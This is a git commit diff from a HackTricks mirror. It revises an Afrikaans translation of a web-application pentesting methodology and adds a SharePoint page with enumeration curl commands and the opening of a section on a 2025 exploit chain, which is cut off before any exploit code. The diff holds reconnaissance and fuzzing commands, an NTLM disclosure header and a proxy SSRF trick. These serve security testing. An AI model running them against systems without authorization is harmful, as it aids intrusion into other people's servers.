mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
parent
6ec640f294
commit
715480be22
@ -423,6 +423,7 @@
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
|
||||
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
|
@ -31,15 +31,15 @@ web-api-pentesting.md
|
||||
- [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
|
||||
- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||
- [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
||||
- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind.
|
||||
- [ ] Begin met die **aanvangs kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
||||
- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
||||
- [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
||||
- [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
||||
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
|
||||
- [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
|
||||
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._
|
||||
- [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
|
||||
- [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
|
||||
- [ ] Sodra jy al die moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||
- [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||
- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Bediener Weergawe (Kwetsbaar?)
|
||||
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **vir** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md)
|
||||
Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Kontroleer of enige WAF**
|
||||
|
||||
@ -78,6 +78,7 @@ Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë**
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL databasis**](h2-java-sql-database.md)
|
||||
- [**IIS truuks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
- [**Jira**](jira.md)
|
||||
@ -98,27 +99,27 @@ Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë**
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Neem in ag dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappies** en **subdomeine** kan gebruik._\
|
||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
|
||||
Hou in gedagte dat die **selfde domein** verskillende **tegnologieë** in verskillende **poorte**, **mappies** en **subdomeine** kan gebruik._\
|
||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te soek (en laat weet my!).
|
||||
|
||||
### Bronkode Hersiening
|
||||
### Bronnkode Hersiening
|
||||
|
||||
As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing te doen, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
||||
As die **bronnkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing self uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**:
|
||||
|
||||
- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergave-inligting toeganklik** via die web?
|
||||
- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergaweninligting toeganklik** via die web?
|
||||
- Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
||||
- Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hash-algoritme** word gebruik?
|
||||
- Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
||||
- Kan jy **toegang kry tot enige van hierdie lêers** deur 'n kwesbaarheid te benut?
|
||||
- Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
||||
- Gebruik dit enige **master sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
||||
- Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut?
|
||||
- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Outomatiese skandeerders
|
||||
### Outomatiese skanners
|
||||
|
||||
#### Algemene doeleindes outomatiese skandeerders
|
||||
#### Algemene doeleindes outomatiese skanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -145,7 +146,7 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n paar skanners gedraai.
|
||||
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar truuks in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
||||
|
||||
## Stap-vir-stap Webtoepassing Ontdekking
|
||||
|
||||
@ -160,30 +161,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
|
||||
- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
|
||||
|
||||
**Dwing foute**
|
||||
|
||||
Webbedieners mag **onverwagte** gedrag vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||
|
||||
- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.ens)
|
||||
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
|
||||
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes om foute te skep
|
||||
- Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
|
||||
- Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
|
||||
|
||||
#### **Kyk of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Kontroleer of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
|
||||
As jy vind dat **WebDav** **geaktiveer** is, maar jy het nie genoeg regte om **lêers** in die wortelgids op te laai nie, probeer om:
|
||||
|
||||
- **Brute Force** akrediteer
|
||||
- **Laai lêers op** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
- **Lêers op te laai** via WebDav na die **oorige** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
|
||||
### **SSL/TLS kwesbaarhede**
|
||||
|
||||
- As die toepassing **nie die gebruiker van HTTPS dwing** nie, dan is dit **kwesbaar vir MitM**
|
||||
- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
|
||||
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie tipe kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -199,33 +200,33 @@ Inligting oor SSL/TLS kwesbaarhede:
|
||||
|
||||
### Spidering
|
||||
|
||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie te vind** vanaf die getoetste toepassing. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheer en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die vooraf saamgestelde weergawe is oud en die huidige kode compileer nie.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te ontleed. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless blaasker en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL jou die beautified JS-kode sal gee.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en params in JS-lêers te vind.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie hulpmiddel word gebruik om eindpunte vir 'n gegewe teiken te ontdek.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveveiliging professionele.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveiligheid professionele.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
||||
|
||||
@ -241,7 +242,7 @@ Hulpmiddels:
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
||||
|
||||
@ -268,15 +269,15 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
||||
|
||||
### Wat om te kontroleer op elke lêer wat gevind is
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te ondergaan.
|
||||
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word.
|
||||
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
|
||||
- _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||
- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasker oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||
- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||
- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
||||
- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
|
||||
@ -287,17 +288,17 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
||||
|
||||
**Interessante lêers**
|
||||
|
||||
- Soek na **skakels** na ander lêers binne die **CSS** lêers.
|
||||
- Soek vir **skakels** na ander lêers binne die **CSS** lêers.
|
||||
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
||||
- As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||
- As jy 'n _**.env**_ vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||
- As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
||||
- **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
|
||||
- **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering dalk kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
|
||||
- Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
||||
- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Op verskeie geleenthede sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Op verskeie geleenthede sal jy die **regulêre uitdrukkings** wat gebruik word, moet **begryp**. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
|
||||
|
||||
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
|
||||
@ -310,15 +311,15 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
||||
|
||||
As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
|
||||
|
||||
**NTLM Verifikasie - Inligtingsontsluiting**
|
||||
**NTLM Verifikasie - Inligting openbaar**
|
||||
|
||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeld vra wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligtingsontsluiting** veroorsaak.\
|
||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligting openbaar** veroorsaak.\
|
||||
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
||||
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Jy kan dit **automate** met die **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Oorplasing (CTF)**
|
||||
**HTTP Oorleiding (CTF)**
|
||||
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker** gewys word (aangesien die blaasker die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorleiding** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaiers die oorleiding sal uitvoer), maar iets kan **versteek** wees daarin.
|
||||
|
||||
### Web Kwesbaarhede Kontroleer
|
||||
|
||||
|
@ -0,0 +1,126 @@
|
||||
# Microsoft SharePoint – Pentesting & Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Microsoft SharePoint (on-premises) is gebou op ASP.NET/IIS. Die meeste van die klassieke web-aanvaloppervlak (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint kom ook met honderde eie ASPX-bladsye en webdienste wat die blootgestelde aanvaloppervlak dramaties vergroot. Hierdie bladsy versamel praktiese truuks om te tel, te benut en volhard in SharePoint-omgewings met klem op die 2025-uitbuitingsketting wat deur Unit42 bekend gemaak is (CVE-2025-49704/49706/53770/53771).
|
||||
|
||||
## 1. Quick enumeration
|
||||
```
|
||||
# favicon hash and keywords
|
||||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||||
|
||||
# version leakage (often in JS)
|
||||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||||
|
||||
# interesting standard paths
|
||||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||||
|
||||
# enumerate sites & site-collections (requires at least Anonymous)
|
||||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
```
|
||||
## 2. 2025 exploit ketting (ook bekend as “ToolShell”)
|
||||
|
||||
### 2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx
|
||||
|
||||
